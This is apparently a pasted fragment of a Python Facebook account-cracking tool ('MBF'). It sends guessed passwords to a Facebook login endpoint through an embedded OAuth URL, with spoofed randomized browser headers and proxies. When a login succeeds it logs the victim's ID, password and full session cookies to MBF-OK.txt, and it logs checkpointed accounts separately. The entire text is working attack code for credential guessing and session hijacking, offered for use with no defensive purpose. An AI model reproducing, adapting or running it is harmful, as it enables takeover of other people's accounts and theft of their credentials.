- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "com.android.chrome",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": ref,
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
- links = rc([f"https://{url}/login/device-based/login/async/?api_key=2099441543493930&auth_token=ed9cb45a485f81810505130bc83f37bb&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=2099441543493930&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100"])
- po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{idf}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{pw}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{idf}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{pw}",style=f"#AAAAAA"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
- prints(tree)
- open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ SYSTEM-CONTROL ]----------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('MBF-OK')
- except:pass
- try:os.mkdir('MBF-CP')
- except:pass
- MBF_MENU()
Add Comment
Please, Sign In to add comment